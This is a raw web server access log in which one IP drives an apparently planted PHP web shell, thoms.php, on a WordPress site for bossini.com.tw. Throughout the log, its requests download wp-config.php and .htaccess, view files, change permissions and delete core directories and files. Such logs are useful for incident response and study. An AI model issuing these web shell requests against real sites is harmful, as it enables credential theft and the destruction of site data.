45.135.193.11 - - [11/Sep/2026:22:36:12 -0400] "GET /thoms.php?chmod=wp-load.php&p=bossini.com.tw HTTP/1.1" 200 11494 "http://163.245.207.76:443/thoms.php?chmod=wp-load.php&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:12 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-trackback.php&p=bossini.com.tw HTTP/1.1" 200 11475 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-trackback.php&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:12 -0400] "GET /thoms.php?copy=bossini.com.tw%2F.well-known&p= HTTP/1.1" 200 11675 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2F.well-known&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:12 -0400] "GET /thoms.php?p=bossini.com.tw%2Fupgrade HTTP/1.1" 200 14356 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:12 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-content&p= HTTP/1.1" 200 11655 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-content&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:12 -0400] "GET /thoms.php?del=wp-content&p=bossini.com.tw HTTP/1.1" 200 17594 "http://163.245.207.76:443/thoms.php?del=wp-content&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:12 -0400] "GET /thoms.php?del=thoms.php&p=bossini.com.tw HTTP/1.1" 200 17597 "http://163.245.207.76:443/thoms.php?del=thoms.php&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:12 -0400] "GET /thoms.php?chmod=wp-cron.php&p=bossini.com.tw HTTP/1.1" 200 11482 "http://163.245.207.76:443/thoms.php?chmod=wp-cron.php&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:13 -0400] "GET /thoms.php?dl=wp-login.php&p=bossini.com.tw HTTP/1.1" 200 17587 "http://163.245.207.76:443/thoms.php?dl=wp-login.php&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:13 -0400] "GET /thoms.php?dl=wp-trackback.php&p=bossini.com.tw HTTP/1.1" 200 17594 "http://163.245.207.76:443/thoms.php?dl=wp-trackback.php&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:13 -0400] "GET /thoms.php?del=.htaccess&p=bossini.com.tw HTTP/1.1" 200 17587 "http://163.245.207.76:443/thoms.php?del=.htaccess&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:13 -0400] "GET /thoms.php?dl=index.php&p=bossini.com.tw HTTP/1.1" 200 17596 "http://163.245.207.76:443/thoms.php?dl=index.php&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:13 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:13 -0400] "GET /thoms.php?del=bridge-archive&p=bossini.com.tw HTTP/1.1" 200 17596 "http://163.245.207.76:443/thoms.php?del=bridge-archive&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:13 -0400] "GET /thoms.php?chmod=upgrade&p=bossini.com.tw HTTP/1.1" 200 11474 "http://163.245.207.76:443/thoms.php?chmod=upgrade&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:13 -0400] "GET /thoms.php?copy=bossini.com.tw%2Ferror_log&p=bossini.com.tw HTTP/1.1" 200 11461 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Ferror_log&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:13 -0400] "GET /bossini.com.tw/index.php HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:13 -0400] "GET /thoms.php?chmod=filefuns.php&p=bossini.com.tw HTTP/1.1" 200 11494 "http://163.245.207.76:443/thoms.php?chmod=filefuns.php&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:13 -0400] "GET /thoms.php?p=bossini.com.tw&view=license.txt HTTP/1.1" 200 20086 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw&view=license.txt" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:13 -0400] "GET /thoms.php?copy=bossini.com.tw%2Flocoy.php&p=bossini.com.tw HTTP/1.1" 200 11473 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Flocoy.php&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:13 -0400] "GET /bossini.com.tw/ HTTP/1.1" 404 14140 "https://163.245.207.76/bossini.com.tw/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:14 -0400] "GET /thoms.php?p=bossini.com.tw%2Ftransfer-sample HTTP/1.1" 200 13416 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Ftransfer-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:14 -0400] "GET /thoms.php?chmod=wp-admin&p=bossini.com.tw HTTP/1.1" 200 11487 "http://163.245.207.76:443/thoms.php?chmod=wp-admin&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:14 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin&p= HTTP/1.1" 200 11659 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:14 -0400] "GET /thoms.php?del=error_log&p=bossini.com.tw HTTP/1.1" 200 17601 "http://163.245.207.76:443/thoms.php?del=error_log&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:14 -0400] "GET /thoms.php?del=wp-cron.php&p=bossini.com.tw HTTP/1.1" 200 17600 "http://163.245.207.76:443/thoms.php?del=wp-cron.php&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:14 -0400] "GET /thoms.php?chmod=wp-signup.php&p=bossini.com.tw HTTP/1.1" 200 11482 "http://163.245.207.76:443/thoms.php?chmod=wp-signup.php&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:14 -0400] "GET /thoms.php?del=wp-admin&p=bossini.com.tw HTTP/1.1" 200 17601 "http://163.245.207.76:443/thoms.php?del=wp-admin&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:14 -0400] "GET /thoms.php?p=bossini.com.tw&view=error_log HTTP/1.1" 200 14558 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw&view=error_log" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:14 -0400] "GET /thoms.php?copy=bossini.com.tw%2Ffilefuns.php&p=bossini.com.tw HTTP/1.1" 200 11473 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Ffilefuns.php&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:14 -0400] "GET /thoms.php?dl=readme.html&p=bossini.com.tw HTTP/1.1" 200 17602 "http://163.245.207.76:443/thoms.php?dl=readme.html&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:14 -0400] "GET /thoms.php?chmod=wp-config.php&p=bossini.com.tw HTTP/1.1" 200 11478 "http://163.245.207.76:443/thoms.php?chmod=wp-config.php&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:14 -0400] "GET /bossini.com.tw/wp-comments-post.php HTTP/1.1" 405 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:14 -0400] "GET /thoms.php?del=wp-load.php&p=bossini.com.tw HTTP/1.1" 200 17600 "http://163.245.207.76:443/thoms.php?del=wp-load.php&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:14 -0400] "GET /thoms.php?chmod=wp-login.php&p=bossini.com.tw HTTP/1.1" 200 11482 "http://163.245.207.76:443/thoms.php?chmod=wp-login.php&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:15 -0400] "GET /thoms.php?del=wp-config-sample.php&p=bossini.com.tw HTTP/1.1" 200 17583 "http://163.245.207.76:443/thoms.php?del=wp-config-sample.php&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:15 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-links-opml.php&p=bossini.com.tw HTTP/1.1" 200 11467 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-links-opml.php&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:15 -0400] "GET /thoms.php?del=wp-mail.php&p=bossini.com.tw HTTP/1.1" 200 17601 "http://163.245.207.76:443/thoms.php?del=wp-mail.php&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:15 -0400] "GET /thoms.php?chmod=xmlrpc.php&p=bossini.com.tw HTTP/1.1" 200 11494 "http://163.245.207.76:443/thoms.php?chmod=xmlrpc.php&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:15 -0400] "GET /thoms.php?dl=xmlrpc.php&p=bossini.com.tw HTTP/1.1" 200 17603 "http://163.245.207.76:443/thoms.php?dl=xmlrpc.php&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:15 -0400] "GET /thoms.php?p=bossini.com.tw&view=filefuns.php HTTP/1.1" 200 14703 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw&view=filefuns.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:15 -0400] "GET /thoms.php?chmod=readme.html&p=bossini.com.tw HTTP/1.1" 200 11480 "http://163.245.207.76:443/thoms.php?chmod=readme.html&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:15 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-mail.php&p=bossini.com.tw HTTP/1.1" 200 11475 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-mail.php&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:15 -0400] "GET /bossini.com.tw/wp-cron.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:15 -0400] "GET /thoms.php?del=license.txt&p=bossini.com.tw HTTP/1.1" 200 17600 "http://163.245.207.76:443/thoms.php?del=license.txt&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:15 -0400] "GET /thoms.php?copy=bossini.com.tw%2Flicense.txt&p=bossini.com.tw HTTP/1.1" 200 11474 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Flicense.txt&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:15 -0400] "GET /thoms.php?chmod=wp-links-opml.php&p=bossini.com.tw HTTP/1.1" 200 11483 "http://163.245.207.76:443/thoms.php?chmod=wp-links-opml.php&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:15 -0400] "GET /thoms.php?dl=wp-signup.php&p=bossini.com.tw HTTP/1.1" 200 17602 "http://163.245.207.76:443/thoms.php?dl=wp-signup.php&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:15 -0400] "GET /thoms.php?p=bossini.com.tw%2Fbridge-archive HTTP/1.1" 200 13275 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fbridge-archive" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:15 -0400] "GET /thoms.php?chmod=mah.php&p=bossini.com.tw HTTP/1.1" 200 11471 "http://163.245.207.76:443/thoms.php?chmod=mah.php&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:16 -0400] "GET /bossini.com.tw/readme.html HTTP/1.1" 200 2990 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:16 -0400] "GET /thoms.php?p=bossini.com.tw&view=readme.html HTTP/1.1" 200 15231 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw&view=readme.html" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:16 -0400] "GET /bossini.com.tw/cgi-bin/ HTTP/1.1" 200 691 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:16 -0400] "GET /bossini.com.tw/error_log HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:16 -0400] "GET /thoms.php?dl=thoms.php&p=bossini.com.tw HTTP/1.1" 200 17602 "http://163.245.207.76:443/thoms.php?dl=thoms.php&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:16 -0400] "GET /thoms.php?del=transfer-sample&p=bossini.com.tw HTTP/1.1" 200 17603 "http://163.245.207.76:443/thoms.php?del=transfer-sample&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:16 -0400] "GET /thoms.php?p=bossini.com.tw%2Fcgi-bin HTTP/1.1" 200 12051 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:16 -0400] "GET /thoms.php?del=index.php&p=bossini.com.tw HTTP/1.1" 200 17602 "http://163.245.207.76:443/thoms.php?del=index.php&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:16 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fmah.php&p=bossini.com.tw HTTP/1.1" 200 11474 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fmah.php&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:16 -0400] "GET /thoms.php?dl=wp-activate.php&p=bossini.com.tw HTTP/1.1" 200 17604 "http://163.245.207.76:443/thoms.php?dl=wp-activate.php&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:16 -0400] "GET /thoms.php?p=bossini.com.tw&view=wp-login.php HTTP/1.1" 200 29028 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw&view=wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:16 -0400] "GET /thoms.php?chmod=transfer-sample&p=bossini.com.tw HTTP/1.1" 200 11489 "http://163.245.207.76:443/thoms.php?chmod=transfer-sample&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:16 -0400] "GET /thoms.php?p=bossini.com.tw&view=wp-config-sample.php HTTP/1.1" 200 13313 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw&view=wp-config-sample.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:16 -0400] "GET /thoms.php?dl=wp-config.php&p=bossini.com.tw HTTP/1.1" 200 17602 "http://163.245.207.76:443/thoms.php?dl=wp-config.php&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:16 -0400] "GET /thoms.php?dl=wp-mail.php&p=bossini.com.tw HTTP/1.1" 200 17601 "http://163.245.207.76:443/thoms.php?dl=wp-mail.php&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:16 -0400] "GET /bossini.com.tw/wp-trackback.php HTTP/1.1" 404 157 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:17 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fxmlrpc.php&p=bossini.com.tw HTTP/1.1" 200 11475 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fxmlrpc.php&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:17 -0400] "GET /bossini.com.tw/transfer-sample/ HTTP/1.1" 200 6413 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:17 -0400] "GET /bossini.com.tw/wp-includes/ HTTP/1.1" 200 9269 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:17 -0400] "GET /bossini.com.tw HTTP/1.1" 301 795 "http://163.245.207.76:443/bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:17 -0400] "GET /bossini.com.tw/wp-links-opml.php HTTP/1.1" 200 209 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:17 -0400] "GET /thoms.php?p=bossini.com.tw&view=mah.php HTTP/1.1" 200 11815 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw&view=mah.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:17 -0400] "GET /thoms.php?del=wp-activate.php&p=bossini.com.tw HTTP/1.1" 200 17597 "http://163.245.207.76:443/thoms.php?del=wp-activate.php&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:17 -0400] "GET /bossini.com.tw/ HTTP/1.1" 301 0 "https://163.245.207.76:443/bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:17 -0400] "GET /thoms.php?dl=wp-load.php&p=bossini.com.tw HTTP/1.1" 200 17600 "http://163.245.207.76:443/thoms.php?dl=wp-load.php&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:17 -0400] "GET /bossini.com.tw/ HTTP/1.1" 404 14140 "https://163.245.207.76:443/bossini.com.tw/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:17 -0400] "GET /thoms.php?del=wp-signup.php&p=bossini.com.tw HTTP/1.1" 200 17599 "http://163.245.207.76:443/thoms.php?del=wp-signup.php&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:17 -0400] "GET /thoms.php?del=upgrade&p=bossini.com.tw HTTP/1.1" 200 17599 "http://163.245.207.76:443/thoms.php?del=upgrade&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:17 -0400] "GET /thoms.php?dl=.htaccess&p=bossini.com.tw HTTP/1.1" 200 17599 "http://163.245.207.76:443/thoms.php?dl=.htaccess&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:17 -0400] "GET /thoms.php?del=filefuns.php&p=bossini.com.tw HTTP/1.1" 200 17600 "http://163.245.207.76:443/thoms.php?del=filefuns.php&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:17 -0400] "GET /thoms.php?dl=wp-comments-post.php&p=bossini.com.tw HTTP/1.1" 200 17598 "http://163.245.207.76:443/thoms.php?dl=wp-comments-post.php&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
